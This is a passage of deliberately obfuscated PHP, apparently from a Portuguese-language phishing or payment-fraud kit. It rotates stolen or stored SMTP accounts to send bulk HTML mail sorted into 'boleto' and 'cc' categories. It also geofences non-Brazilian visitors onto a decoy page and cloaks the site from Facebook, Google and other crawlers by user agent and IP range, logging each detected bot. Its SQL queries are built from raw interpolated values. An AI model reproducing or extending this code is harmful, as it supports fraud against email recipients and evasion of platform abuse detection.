PHPMailer(true);${"GLOBALS"}["ftfocte"]="to";if(${${"GLOBALS"}["irmddnqw"]}=="boleto"){$bjsekdxs="res";${$bjsekdxs}=$pdo->query("select * from smtp where `to` = 'boleto' order by rand()");}elseif(${${"GLOBALS"}["ftfocte"]}=="cc"){${${"GLOBALS"}["jhlxptbykbu"]}=$pdo->query("select * from smtp where `to` = 'cc' order by rand()");}else{${"GLOBALS"}["utogjnbo"]="res";${${"GLOBALS"}["utogjnbo"]}=$pdo->query("select * from smtp order by rand()");}if($res->rowCount()==0){return false;}else{${"GLOBALS"}["lqvtlpvp"]="res";${${"GLOBALS"}["lqvtlpvp"]}=$res->fetch();try{$mail->isSMTP();${"GLOBALS"}["ynmwabsadqv"]="dados";${"GLOBALS"}["kjlbldinhj"]="dados";$ajzmbdrgsr="res";$mail->Host=${${"GLOBALS"}["jhlxptbykbu"]}["host"];$mail->SMTPAuth=true;$uezbst="res";$mail->Username=${$ajzmbdrgsr}["login"];$clkipxnlv="res";$mail->Password=${$uezbst}["senha"];$ftonfiptuc="dados";$mail->SMTPSecure=PHPMailer::ENCRYPTION_STARTTLS;$mail->Port=${$clkipxnlv}["porta"];$mail->CharSet="UTF-8";$mail->setFrom(${${"GLOBALS"}["jhlxptbykbu"]}["login"],${${"GLOBALS"}["ynmwabsadqv"]}["nome"]);$mail->addAddress(${${"GLOBALS"}["kjlbldinhj"]}["email"]);$mail->isHTML(true);$mail->Subject=${${"GLOBALS"}["bffofhz"]}["assunto"];$mail->Body=${$ftonfiptuc}["msg"];$mail->AltBody="This is the body in plain text for non-HTML mail clients";$mail->send();$pdo->query("update smtp set success = (success+1) where id = '{$res['id']}'");return 1;}catch(Exception$e){$pdo->query("update smtp set fail = (fail+1) where id = '{$res['id']}'");return 0;}}}else{return 999;}}function smtp_teste($id){global$pdo;global$dbconfig;if(filter_var(${${"GLOBALS"}["fothirj"]}["email"],FILTER_VALIDATE_EMAIL)){$hsowuuv="mail";${"GLOBALS"}["ixqbklrivfuq"]="res";${$hsowuuv}=new PHPMailer(true);${${"GLOBALS"}["ixqbklrivfuq"]}=$pdo->query("select * from smtp where id = '$id'");${${"GLOBALS"}["jhlxptbykbu"]}=$res->fetch();try{$cycxwhsjnow="dbconfig";$mail->isSMTP();${"GLOBALS"}["btklixiwcd"]="res";$mail->Host=${${"GLOBALS"}["jhlxptbykbu"]}["host"];$mail->SMTPAuth=true;$mail->Username=${${"GLOBALS"}["jhlxptbykbu"]}["login"];${"GLOBALS"}["bqehlkbxkh"]="res";$mail->Password=${${"GLOBALS"}["btklixiwcd"]}["senha"];$mail->SMTPSecure=PHPMailer::ENCRYPTION_STARTTLS;$mail->Port=${${"GLOBALS"}["bqehlkbxkh"]}["porta"];$mail->setFrom(${${"GLOBALS"}["jhlxptbykbu"]}["login"],"ADMIN CENTER");$mail->addAddress(${$cycxwhsjnow}["email"]);$mail->isHTML(true);$mail->Subject="Teste SMTP";$mail->Body="O seu servidor esta funcionando com sucesso !";$mail->AltBody="This is the body in plain text for non-HTML mail clients";$mail->send();$pdo->query("update smtp set success = (success+1) where login = '{$res['login']}'");return 1;}catch(Exception$e){$pdo->query("update smtp set fail = (fail+1) where login = '{$res['login']}'");return 0;}}else{return false;}}function smtp_adicionar($dados){global$dbconfig;if(filter_var(${${"GLOBALS"}["fothirj"]}["email"],FILTER_VALIDATE_EMAIL)){${${"GLOBALS"}["jthacb"]}=new PHPMailer(true);try{${"GLOBALS"}["ryuuahphminp"]="dados";${"GLOBALS"}["liqpvfpqnts"]="dados";$mail->isSMTP();$mail->Host=${${"GLOBALS"}["ryuuahphminp"]}["host"];$mail->SMTPAuth=true;$mail->Username=${${"GLOBALS"}["liqpvfpqnts"]}["login"];$mail->Password=${${"GLOBALS"}["bffofhz"]}["senha"];$mail->SMTPSecure=PHPMailer::ENCRYPTION_STARTTLS;$mail->Port=${${"GLOBALS"}["bffofhz"]}["porta"];$mail->setFrom(${${"GLOBALS"}["bffofhz"]}["login"],"ADMIN CENTER");$mail->addAddress(${${"GLOBALS"}["fothirj"]}["email"]);$mail->isHTML(true);$mail->Subject="SMTP ADICIONADO COM SUCESSO - {$dados['login']}";$mail->Body="O seu servidor smtp foi adicionado com sucesso !";$mail->AltBody="This is the body in plain text for non-HTML mail clients";$mail->send();return 1;}catch(Exception$e){return 0;}}else{$_SESSION["fail"]="E-Mail de backup inválido";return false;}}class x9_geo_location{public static function Protect(){$iildqyccxbo="pais";${"GLOBALS"}["xjccyt"]="dados";${${"GLOBALS"}["xjccyt"]}=extreme_IP::getDados();${"GLOBALS"}["bpclri"]="status";${${"GLOBALS"}["jwzqqq"]}=json_decode(${${"GLOBALS"}["bffofhz"]});${${"GLOBALS"}["bpclri"]}=$json->Status;${${"GLOBALS"}["rqdmawswv"]}=$json->Cidade;$qjbmgrnrhr="status";${${"GLOBALS"}["nmbplxftofnr"]}=$json->Estado;${$iildqyccxbo}=$json->Pais;${${"GLOBALS"}["eoznhbvvi"]}=$json->Empresa;if(${$qjbmgrnrhr}==true and${${"GLOBALS"}["yjvvwojax"]}!="Brazil"){
if(filter_var(dbConfig()["x9"],FILTER_VALIDATE_URL)){
header("Location: ".dbConfig()["x9"]);}else{require"views/x9/index.php";}${${"GLOBALS"}["wxeugqst"]}=new antiCrawlers();$x9->updateX9Dados(${${"GLOBALS"}["eoznhbvvi"]},${${"GLOBALS"}["bffofhz"]});exit();}}}function dbConfig(){${"GLOBALS"}["sdqnvnvybyg"]="sql";${${"GLOBALS"}["sdqnvnvybyg"]}=pdo()->query("select * from `configs`");return$sql->fetch(PDO::FETCH_ASSOC);}class extreme_IP{private static$key="?key=exT2uHlSe6rQCiodVv3d";private static$url="https://extreme-ip-lookup.com/json/";private static$ipFake="";public static function getDados(){$csvmzepmg="ip";${"GLOBALS"}["lurvtln"]="ipCookie";${"GLOBALS"}["jlelfdy"]="ipCookie";$kkzbrqdtvr="ip";${${"GLOBALS"}["lurvtln"]}=($_COOKIE["ip_cookie"]??false);${$csvmzepmg}=$_SERVER["REMOTE_ADDR"]=="::1"?self::${${"GLOBALS"}["eehubija"]}:$_SERVER["REMOTE_ADDR"];if(isset($_COOKIE["ip_cookie_json"])&&${${"GLOBALS"}["jlelfdy"]}==${$kkzbrqdtvr}){return$_COOKIE["ip_cookie_json"];}else{${"GLOBALS"}["etslnkko"]="ch";${"GLOBALS"}["pbfzrydo"]="ch";${"GLOBALS"}["toquiyajut"]="key";${"GLOBALS"}["bmfopdypxk"]="file_content";${"GLOBALS"}["sibrylidryw"]="ch";${"GLOBALS"}["ffxoui"]="file_content";$xroxmhhpp="ip";${${"GLOBALS"}["etslnkko"]}=curl_init();curl_setopt(${${"GLOBALS"}["pbfzrydo"]},CURLOPT_URL,self::${${"GLOBALS"}["wgkjhsorl"]}.${$xroxmhhpp}.self::${${"GLOBALS"}["toquiyajut"]});curl_setopt(${${"GLOBALS"}["sibrylidryw"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_TIMEOUT,3);$srwyzpamdce="cidade";${${"GLOBALS"}["ffxoui"]}=curl_exec(${${"GLOBALS"}["fuwkqnvetkhq"]});curl_close(${${"GLOBALS"}["fuwkqnvetkhq"]});${${"GLOBALS"}["jwzqqq"]}=json_decode(${${"GLOBALS"}["bmfopdypxk"]});${"GLOBALS"}["dgnypvh"]="empresa";if(isset($json->country)){$yhiejkrmqsf="status";${$yhiejkrmqsf}=true;$gjnibqmnotq="estado";${${"GLOBALS"}["rqdmawswv"]}=$json->city;$jpsqouu="pais";${$gjnibqmnotq}=$json->region;${$jpsqouu}=$json->country;${${"GLOBALS"}["eoznhbvvi"]}=$json->isp;}else{$aaxhtsijw="empresa";${${"GLOBALS"}["yljecxty"]}=false;${${"GLOBALS"}["rqdmawswv"]}="Desconhacido";${${"GLOBALS"}["nmbplxftofnr"]}="Desconhacido";${${"GLOBALS"}["yjvvwojax"]}="Desconhacido";${$aaxhtsijw}="Desconhacido";}${${"GLOBALS"}["awnzhhoghl"]}=json_encode(["Status"=>${${"GLOBALS"}["yljecxty"]},"IP"=>${${"GLOBALS"}["tkexzfn"]},"Cidade"=>${$srwyzpamdce},"Estado"=>${${"GLOBALS"}["nmbplxftofnr"]},"Pais"=>${${"GLOBALS"}["yjvvwojax"]},"Empresa"=>${${"GLOBALS"}["dgnypvh"]}]);setcookie("ip_cookie",${${"GLOBALS"}["tkexzfn"]},time()+3600*24*7,"/");setcookie("ip_cookie_json",${${"GLOBALS"}["awnzhhoghl"]},time()+3600*24*7,"/");return${${"GLOBALS"}["awnzhhoghl"]};}}}class antiCrawlers{private$pdo;private$device;private$isBoot;private$empresa;private$usersBlock;private$agent;private$ipsBlock;private$ip;private$keysBlock;public function __construct(){global$pdo;global$device;$this->pdo=${${"GLOBALS"}["psucaoi"]};${"GLOBALS"}["dtqoovigf"]="device";$this->device=${${"GLOBALS"}["dtqoovigf"]};$this->agent=$_SERVER["HTTP_USER_AGENT"];$this->ip=$_SERVER["REMOTE_ADDR"]=="::1"?"127.0.0.1":$_SERVER["REMOTE_ADDR"];$this->usersBlock=["facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"=>"Facebook","facebookexternalua"=>"Facebook","Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"=>"Bing","Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"=>"Yahoo","Googlebot/2.1 (+http://www.googlebot.com/bot.html)"=>"Google","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"=>"Google","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Chrome/W.X.Y.Z‡ Safari/537.36"=>"Google","Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z‡ Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"=>"Google"];$this->ipsBlock=["173.252","69.171","31.13","66.220","35.172","34.230","3.94"];}public function protect(){${"GLOBALS"}["tyqnhoujdyj"]="uid";${${"GLOBALS"}["ndmkzulp"]}=uri();$ahhcmjp="json";global$config;${${"GLOBALS"}["tyqnhoujdyj"]}=isset($_GET["uid"])?filter_input(INPUT_GET,"uid",FILTER_SANITIZE_STRING):false;${$ahhcmjp}=json_decode($this->verify_device());if($json->isBoot>0){$nynyungoz="list";${$nynyungoz}=[${${"GLOBALS"}["vatifirf"]}["admin"],"estoque"];$ztmordyx="uri";${"GLOBALS"}["vglvlbuixgvl"]="list";if(!in_array(${$ztmordyx},${${"GLOBALS"}["vglvlbuixgvl"]})){$this->updateX9Dados();require __DIR__."/../views/x9/index.php";exit();}else{$aghzgbjrxde="u_lists";${"GLOBALS"}["xuifhpjkgbz"]="u_lists";${${"GLOBALS"}["amfaelzu"]}=$_SERVER["HTTP_USER_AGENT"];${$aghzgbjrxde}=["googlebot"=>"Google Bots","bingbot"=>"Bing Boots","slurp"=>"Yahoo Bots","DuckDuckBot"=>"DuckDuckBot","Baiduspider"=>"Baiduspider","ia_archiver"=>"Alexa - Amazon","digitalocean"=>"Digital Ocean","digital ocean"=>"Digital Ocean"];foreach(${${"GLOBALS"}["xuifhpjkgbz"]} as${${"GLOBALS"}["ixqzmccfopd"]}=>${${"GLOBALS"}["loshmnvn"]}){${"GLOBALS"}["ediionqx"]="agente";${"GLOBALS"}["umzsqbptj"]="preg";$sedymxvoerqz="preg";${$sedymxvoerqz}=preg_match("/$u_list/i",${${"GLOBALS"}["ediionqx"]});if(${${"GLOBALS"}["umzsqbptj"]}>0){$this->updateX9Dados(${${"GLOBALS"}["loshmnvn"]}."+(x9DkNet)");require __DIR__."/../views/html/404.html";exit();}}}}}public function updateX9Dados($emp=false,$loc=false){${${"GLOBALS"}["jwzqqq"]}=json_decode($this->verify_device());$dldwwqa="user_agent";${${"GLOBALS"}["eoznhbvvi"]}=${${"GLOBALS"}["pxcohhgnvlrp"]}==false?$json->empresa:${${"GLOBALS"}["pxcohhgnvlrp"]};${$dldwwqa}=$json->user_agent;${${"GLOBALS"}["tkexzfn"]}=filter_var($json->ip,FILTER_SANITIZE_STRING);${${"GLOBALS"}["yzveycei"]}=$json->device;${${"GLOBALS"}["lxnmpmkc"]}=date("d/m/Y - H:i");$eeisuwylqkr="time";${$eeisuwylqkr}=time();${"GLOBALS"}["kdxqxfua"]="verify";${"GLOBALS"}["dboerqpuv"]="loc";if(${${"GLOBALS"}["dboerqpuv"]}==false){${"GLOBALS"}["ncblqabmkzk"]="local";${${"GLOBALS"}["ncblqabmkzk"]}="{"Status":false,"IP":\"".${${"GLOBALS"}["tkexzfn"]}."\",\"Cidade\":\"Desconhecido","Estado":\"Desconhecido\","Pais\":\"Desconhecido\","Empresa\":"Desconhecido\"}";}else{${"GLOBALS"}["hbjlyhbkpby"]="loc";${"GLOBALS"}["cgkoduol"]="local";$uhqzdivxm="local";${${"GLOBALS"}["cgkoduol"]}=${${"GLOBALS"}["hbjlyhbkpby"]};${${"GLOBALS"}["ggetwleuepe"]}=json_decode(${$uhqzdivxm});${${"GLOBALS"}["tkexzfn"]}=($local_Json->IP??${${"GLOBALS"}["tkexzfn"]});}${"GLOBALS"}["jtbqaliyk"]="verify";${${"GLOBALS"}["kdxqxfua"]}=rows("x9 where ip = '$ip'");if(${${"GLOBALS"}["jtbqaliyk"]}==0){$didjvxue="user_agent";$ajiimca="query";${"GLOBALS"}["ovguccelx"]="prepare";${$ajiimca}="INSERT INTO `x9` (`ip`,`qtd`,`device`,`time`,`empresa`,`acesso`,`user_agent`,`local`) VALUES (?,?,?,?,?,?,?,?)";${"GLOBALS"}["xnibfbe"]="device";${"GLOBALS"}["msjycavdts"]="empresa";${"GLOBALS"}["rtxwgoorep"]="data";$dplmpnecnq="local";${${"GLOBALS"}["ovguccelx"]}=$this->pdo->prepare(${${"GLOBALS"}["wnbmovvwkky"]});$prepare->execute([${${"GLOBALS"}["tkexzfn"]},"1",${${"GLOBALS"}["xnibfbe"]},${${"GLOBALS"}["yepwho"]},${${"GLOBALS"}["msjycavdts"]},${${"GLOBALS"}["rtxwgoorep"]},${$didjvxue},${$dplmpnecnq}]);}else{$yvtxewwtuv="query";$wywfyot="ip";${$yvtxewwtuv}=$this->pdo->prepare("update x9 set `qtd` = (qtd+1) where ip = ?");$query->execute([${$wywfyot}]);}}public function verify_device(){$zrnfqejds="empresa";${$zrnfqejds}="";${${"GLOBALS"}["zqobkmwg"]}=0;${"GLOBALS"}["illyzkwyfys"]="agente";$jcnikkebahwu="score";${${"GLOBALS"}["amfaelzu"]}=$this->agent;$vusjiok="json";if(empty(${${"GLOBALS"}["illyzkwyfys"]})){${"GLOBALS"}["eeqstwb"]="score";${${"GLOBALS"}["eeqstwb"]}++;${${"GLOBALS"}["eoznhbvvi"]}="Crawlers";}else{${"GLOBALS"}["cfwnmsyvulk"]="item";${"GLOBALS"}["pftoktykco"]="ipCortado";$cdpoxdmrpnz="ipCortado";foreach($this->usersBlock as${${"GLOBALS"}["cfwnmsyvulk"]}=>${${"GLOBALS"}["mlcgtktxvw"]}){$qpeqbwvvbmg="agente";${"GLOBALS"}["qgzbiaxm"]="item";if(${${"GLOBALS"}["qgzbiaxm"]}==${$qpeqbwvvbmg}){$rznbkegqsd="value";${${"GLOBALS"}["zqobkmwg"]}++;${"GLOBALS"}["blcpwv"]="empresa";${${"GLOBALS"}["blcpwv"]}=${$rznbkegqsd};break;}}${${"GLOBALS"}["qxbqddt"]}=explode(".",$this->ip);${$cdpoxdmrpnz}=(${${"GLOBALS"}["qxbqddt"]}[0]??"").".".(${${"GLOBALS"}["qxbqddt"]}[1]??"");if(in_array(${${"GLOBALS"}["pftoktykco"]},$this->ipsBlock)){$ypnmrcaabvy="empresa";$ocxgwjcfvhx="score";${$ocxgwjcfvhx}++;${$ypnmrcaabvy}="Facebook";}elseif(strpos($this->ip,"::face")!==false){${"GLOBALS"}["eenyoklyp"]="score";${"GLOBALS"}["dncgbxutofr"]="empresa";${${"GLOBALS"}["eenyoklyp"]}++;${${"GLOBALS"}["dncgbxutofr"]}="Facebook IPV6";}elseif(strpos($this->agent,"Googlebot")!=false){$casgjgoeu="score";$pnchdmpf="empresa";${$casgjgoeu}++;${$pnchdmpf}="Google";}}${$vusjiok}=json_encode(["isBoot"=>${$jcnikkebahwu},"empresa"=>${${"GLOBALS"}["eoznhbvvi"]},"user_agent"=>${${"GLOBALS"}["amfaelzu"]},"ip"=>$this->ip,"device"=>$this->device]);return${${"GLOBALS"}["jwzqqq"]};}}function uri($number=0){${"GLOBALS"}["hujcgmtco"]="uri";${"GLOBALS"}["tovbuiqoxslj"]="uri";${${"GLOBALS"}["tovbuiqoxslj"]}=($_GET["url"]??false);${${"GLOBALS"}["ocaruspohifm"]}=explode("/",${${"GLOBALS"}["hujcgmtco"]});return(${${"GLOBALS"}["ocaruspohifm"]}[${${"GLOBALS"}["skeiouspzmp"]}]??false);}function crawlers(){${"GLOBALS"}["uowhttme"]="ip";${"GLOBALS"}["cxgynuglj"]="verifica";$xopxzgylb="ipv6";$xgxysduudra="acesso";global$pdo;${"GLOBALS"}["rjntkjwcdc"]="empresa";${"GLOBALS"}["qppcuhqqmi"]="ip";global$ip;$igxkfgtnvzv="lista";$oregnviqw="livres";$rnhbekxfzr="score";${"GLOBALS"}["lbjylnrpmt"]="ip";${"GLOBALS"}["mtgrsv"]="agente";$jygiffjfsj="BlockList";${$rnhbekxfzr}=0;${${"GLOBALS"}["yepwho"]}=time();$vpvjnlgkx="urlGet";global$device;$svhqkfcovztd="res";${${"GLOBALS"}["rjntkjwcdc"]}="";${"GLOBALS"}["zflxbkc"]="agente";${${"GLOBALS"}["lbjylnrpmt"]}=${${"GLOBALS"}["tkexzfn"]}=="::1"?"127.0.0.1":${${"GLOBALS"}["qppcuhqqmi"]};${${"GLOBALS"}["uucqxwgbkx"]}=isset($_GET["url"])?explode("/",$_GET["url"]):false;${${"GLOBALS"}["rxwjigfio"]}=(${$vpvjnlgkx}[0]??false);${${"GLOBALS"}["cxgynuglj"]}=$pdo->prepare("select * from x9 where ip = '$ip'");${$xgxysduudra}=date("H:i");${"GLOBALS"}["ddgwvgwptak"]="ip";${"GLOBALS"}["afndtux"]="lista";${${"GLOBALS"}["amfaelzu"]}=$_SERVER["HTTP_USER_AGENT"];if(${${"GLOBALS"}["mtgrsv"]}==false or${${"GLOBALS"}["zflxbkc"]}==null){${${"GLOBALS"}["zqobkmwg"]}++;${${"GLOBALS"}["eoznhbvvi"]}="Crawlers";}${${"GLOBALS"}["lpbmhjktuoxo"]}=["google","bing","yahoo","amazon","rambler","facebook"];foreach(${$jygiffjfsj} as${$svhqkfcovztd}){${"GLOBALS"}["lqlkfdfjwpc"]="post";${${"GLOBALS"}["qyqcflt"]}=strpos(${${"GLOBALS"}["amfaelzu"]},${${"GLOBALS"}["jhlxptbykbu"]});if(${${"GLOBALS"}["lqlkfdfjwpc"]}!==false){$rsxbwkol="res";${"GLOBALS"}["cvxvicrpefdh"]="score";${${"GLOBALS"}["cvxvicrpefdh"]}++;${"GLOBALS"}["ctdtvozy"]="empresa";${${"GLOBALS"}["ctdtvozy"]}=ucwords(${$rsxbwkol});break;}}${${"GLOBALS"}["nldnygnu"]}=explode(".",${${"GLOBALS"}["uowhttme"]});${"GLOBALS"}["cwbnnafctnb"]="newip";${${"GLOBALS"}["nldnygnu"]}=${${"GLOBALS"}["nldnygnu"]}[0].".".${${"GLOBALS"}["nldnygnu"]}[1];${${"GLOBALS"}["afndtux"]}=array("173.252","69.171","31.13","66.220","35.172","34.230","3.94");if(in_array(${${"GLOBALS"}["cwbnnafctnb"]},${$igxkfgtnvzv})){$xwhqbcqdolkl="score";${$xwhqbcqdolkl}++;$obnxgk="empresa";${$obnxgk}="Facebook";}${$xopxzgylb}=strpos(${${"GLOBALS"}["ddgwvgwptak"]},"::face");if(${${"GLOBALS"}["dcdqmnbcxqk"]}!==false){${${"GLOBALS"}["zqobkmwg"]}++;$bpyfam="empresa";${$bpyfam}="Facebook";}${$oregnviqw}=["estoque"=>"facebook"];if(${${"GLOBALS"}["zqobkmwg"]}!==0){$verifica->execute();$whzmcensjsoc="urlThis";if($verifica->rowCount()==0){$pdo->query("INSERT INTO `x9`(`ip`, `qtd`, `device`, `time`, `empresa`,`acesso`,`user_agent`) VALUES ('$ip', '1', '$device', '$time', '$empresa','$acesso','$agente')");}else{$pdo->query("update x9 set qtd = (qtd+1), acesso = '$acesso' where ip = '$ip'");}if(!isset(${${"GLOBALS"}["nlptqlw"]}[${$whzmcensjsoc}])){require __DIR__."/../views/x9/index.php";exit();}else{return"isBoot";}}}function value($str,$find_start,$find_end){${"GLOBALS"}["jxhidlgr"]="end";${"GLOBALS"}["cyivrefg"]="start";$uxttjkjd="str";$zqkpidb="find_start";${"GLOBALS"}["omodmsaxks"]="start";$jzmlibufd="find_start";$mwtedpl="length";$fjqjuztes="length";${${"GLOBALS"}["ohusxce"]}=@strpos(${$uxttjkjd},${$zqkpidb});$hfxmnicwxkc="length";if(${${"GLOBALS"}["cyivrefg"]}===false){return"";}${$hfxmnicwxkc}=strlen(${$jzmlibufd});$bcgrhch="str";${${"GLOBALS"}["jxhidlgr"]}=strpos(substr(${$bcgrhch},${${"GLOBALS"}["omodmsaxks"]}+${$fjqjuztes}),${${"GLOBALS"}["nbwtkhlul"]});return trim(substr(${${"GLOBALS"}["ossxnhlreg"]},${${"GLOBALS"}["ohusxce"]}+${$mwtedpl},${${"GLOBALS"}["rviarurj"]}));}function localizacao(){$xcjestbk="json";$adyzprk="final";global$ip;${"GLOBALS"}["plqniee"]="local";${$adyzprk}=${${"GLOBALS"}["tkexzfn"]}=="127.0.0.1"?"":${${"GLOBALS"}["tkexzfn"]};${"GLOBALS"}["uhehrfkc"]="json";${${"GLOBALS"}["uhehrfkc"]}=file_get_contents("http://extreme-ip-lookup.com/json/{$final}");${$xcjestbk}=json_decode(${${"GLOBALS"}["jwzqqq"]});${${"GLOBALS"}["rqdmawswv"]}=$json->city!==""?$json->city:"Sem registro";${${"GLOBALS"}["nmbplxftofnr"]}=$json->region!==""?$json->region:"Sem registro";${${"GLOBALS"}["yjvvwojax"]}=$json->countryCode!==""?$json->countryCode:"Sem registro";${${"GLOBALS"}["plqniee"]}="{$cidade} » {$estado}";return${${"GLOBALS"}["zpqsne"]};}function limitarTexto($texto,$limite=30){$kggypl="texto";$vwrbcjhjv="limite";$htiucqqsbnfv="contador";${${"GLOBALS"}["qvvfoulkpbg"]}=strlen(${$kggypl});if(${$htiucqqsbnfv}>=${$vwrbcjhjv}){$kdrhdwbszj="limite";${"GLOBALS"}["xzqaphmxfw"]="texto";${"GLOBALS"}["sdqfeqsbcy"]="texto";${${"GLOBALS"}["midbxbsho"]}=substr(${${"GLOBALS"}["sdqfeqsbcy"]},0,strrpos(substr(${${"GLOBALS"}["midbxbsho"]},0,${$kdrhdwbszj})," "))."";return${${"GLOBALS"}["xzqaphmxfw"]};}else{return${${"GLOBALS"}["midbxbsho"]};}}function device(){${"GLOBALS"}["knxnuxroydy"]="user_agents";${"GLOBALS"}["omstclu"]="user_agents";$hukddhhc="os";${"GLOBALS"}["rmebegw"]="SO";require __DIR__."/../vendor/GetBrowser/autoload.php";${${"GLOBALS"}["bejjvfknxka"]}=$_SERVER["HTTP_USER_AGENT"];${${"GLOBALS"}["diahkypmcg"]}=FALSE;${"GLOBALS"}["wjdrrvl"]="mobile";${${"GLOBALS"}["knxnuxroydy"]}=array("iPhone","iPad","Android","webOS","BlackBerry","iPod","Symbian","IsGeneric","Windows Phone","Macintosh");foreach(${${"GLOBALS"}["omstclu"]} as${${"GLOBALS"}["bcmyckrwixx"]}){if(strpos($_SERVER["HTTP_USER_AGENT"],${${"GLOBALS"}["bcmyckrwixx"]})!==FALSE){$xreoxhn="mobile";${$xreoxhn}=TRUE;${${"GLOBALS"}["itkkiuup"]}=${${"GLOBALS"}["bcmyckrwixx"]};break;}}${"GLOBALS"}["bbouqkf"]="devices";${"GLOBALS"}["npbzvgpiyk"]="SO";if(${${"GLOBALS"}["wjdrrvl"]}){${${"GLOBALS"}["yzveycei"]}=${${"GLOBALS"}["itkkiuup"]};}else{${${"GLOBALS"}["yzveycei"]}="Computador";}${${"GLOBALS"}["bbouqkf"]}=str_replace("Android","Smartphone",${${"GLOBALS"}["yzveycei"]});${$hukddhhc}=new Sinergi\BrowserDetector\Os();${${"GLOBALS"}["npbzvgpiyk"]}=${${"GLOBALS"}["yzveycei"]}=$os->getName()." ".$os->getVersion();${${"GLOBALS"}["rmebegw"]}=str_replace("Windows 10.0","Windows 10",${${"GLOBALS"}["gqdgqgvapuo"]});return"$devices » $SO";}function setVisita($id="0"){global$crawlers;global$pdo;global$detect;global$antiCrawlers;if(\Source\Modells\crawlers::verify()==false){${"GLOBALS"}["gwosnlrqvb"]="id";$hdqibpy="id";${"GLOBALS"}["jdusfnjztoph"]="update_Visictor";${${"GLOBALS"}["gwosnlrqvb"]}=filter_var(${$hdqibpy},FILTER_SANITIZE_SPECIAL_CHARS);$pdo->query("update estoque set visitas = (visitas+1) where codigo = '$id'");if($detect->isMobile()){${${"GLOBALS"}["brxlwdnvvlrf"]}=$pdo->query("update visitas set mobile = (mobile+1)");}else{${${"GLOBALS"}["brxlwdnvvlrf"]}=$pdo->query("update visitas set pc = (pc+1)");}if(isset(${${"GLOBALS"}["jdusfnjztoph"]})&&$update_Visictor->rowCount()>0){set_metrica("visitas");}$_SESSION["visitou"]="visitou";}}function tempo_corrido($time){$gphgetj="diff";$tnumnjuqof="minutes";$jwwpinvesve="time";${"GLOBALS"}["yumzshdqdt"]="days";$frpfkjnkzocb="weeks";${"GLOBALS"}["luydnqhor"]="years";${"GLOBALS"}["jsbgjymbrts"]="diff";if(${${"GLOBALS"}["yepwho"]}=="0"){return"...";}${"GLOBALS"}["bxyhyuppcalk"]="diff";${"GLOBALS"}["rxleewtnbq"]="time";${"GLOBALS"}["tttkdtju"]="seconds";$qknmateraj="hours";${${"GLOBALS"}["gvsybujrnxp"]}=strtotime(date("Y/m/d H:i:s"));${${"GLOBALS"}["rxleewtnbq"]}=strtotime(${$jwwpinvesve});${"GLOBALS"}["yboonrj"]="years";${"GLOBALS"}["nunheusx"]="weeks";${"GLOBALS"}["gqaeinfuswhs"]="now";${${"GLOBALS"}["wunxsxhogp"]}=${${"GLOBALS"}["gqaeinfuswhs"]}-${${"GLOBALS"}["yepwho"]};$twjvvvow="seconds";$myhdrsftu="years";$vreavhqcpw="days";$hkznyyttcp="months";${"GLOBALS"}["dgigymwhehh"]="diff";${${"GLOBALS"}["tttkdtju"]}=${${"GLOBALS"}["wunxsxhogp"]};${${"GLOBALS"}["xyvxfqdubanv"]}=round(${$gphgetj}/60);${${"GLOBALS"}["sbsulhx"]}=round(${${"GLOBALS"}["dgigymwhehh"]}/3600);${${"GLOBALS"}["yumzshdqdt"]}=round(${${"GLOBALS"}["wunxsxhogp"]}/86400);${${"GLOBALS"}["bcyyornwr"]}=round(${${"GLOBALS"}["wunxsxhogp"]}/604800);${${"GLOBALS"}["xuxqdbkbcqui"]}=round(${${"GLOBALS"}["jsbgjymbrts"]}/2419200);${"GLOBALS"}["nfkoartimrkw"]="hours";${${"GLOBALS"}["luydnqhor"]}=round(${${"GLOBALS"}["bxyhyuppcalk"]}/29030400);${"GLOBALS"}["ntfmnydtuibo"]="months";if(${$twjvvvow}<=60)return"{$seconds} segundo(s) atrás";else if(${${"GLOBALS"}["xyvxfqdubanv"]}<=60)return${${"GLOBALS"}["xyvxfqdubanv"]}==1?"1 minuto atrás":${$tnumnjuqof}." minutos atrás";else if(${${"GLOBALS"}["nfkoartimrkw"]}<=24)return${${"GLOBALS"}["sbsulhx"]}==1?"1 hora atrás":${$qknmateraj}." horas atrás";else if(${$vreavhqcpw}<=7)return${${"GLOBALS"}["eyxibxrwex"]}==1?"1 dia atrás":${${"GLOBALS"}["eyxibxrwex"]}." dias atrás";else if(${${"GLOBALS"}["bcyyornwr"]}<=4)return${${"GLOBALS"}["nunheusx"]}==1?"1 semana atrás":${$frpfkjnkzocb}." semanas atrás";else if(${${"GLOBALS"}["ntfmnydtuibo"]}<=12)return${${"GLOBALS"}["xuxqdbkbcqui"]}==1?"1 mês atrás":${$hkznyyttcp}." meses atrás";else return${$myhdrsftu}==1?"um ano atrás":${${"GLOBALS"}["yboonrj"]}." anos atrás";}function urlBase($continue=""){$tyivokmc="serverNames";$jsvwjcxoro="serverNames";${"GLOBALS"}["qoaybfso"]="http";${${"GLOBALS"}["llvbeuevoek"]}=isset($_SERVER["HTTPS"])?"https://":"http://";$nbprljwq="serverNames";${$nbprljwq}=${${"GLOBALS"}["qoaybfso"]}.$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];${${"GLOBALS"}["yjjyyqybptw"]}=str_replace("index.php","",${$tyivokmc});return${$jsvwjcxoro}.${${"GLOBALS"}["igkiykjpccn"]};}function getIP(){${${"GLOBALS"}["tkexzfn"]}=$_SERVER["REMOTE_ADDR"];${"GLOBALS"}["kihsbmwxob"]="ip";if(${${"GLOBALS"}["tkexzfn"]}=="::1"or${${"GLOBALS"}["kihsbmwxob"]}=="127.0.0.1"){return FAKE_IP;}else{${"GLOBALS"}["rfeywzuij"]="ip";return${${"GLOBALS"}["rfeywzuij"]};}}function removeLoginCookies(){setcookie("authy_token",null,-1,"/");setcookie("_token",null,-1,"/");}function 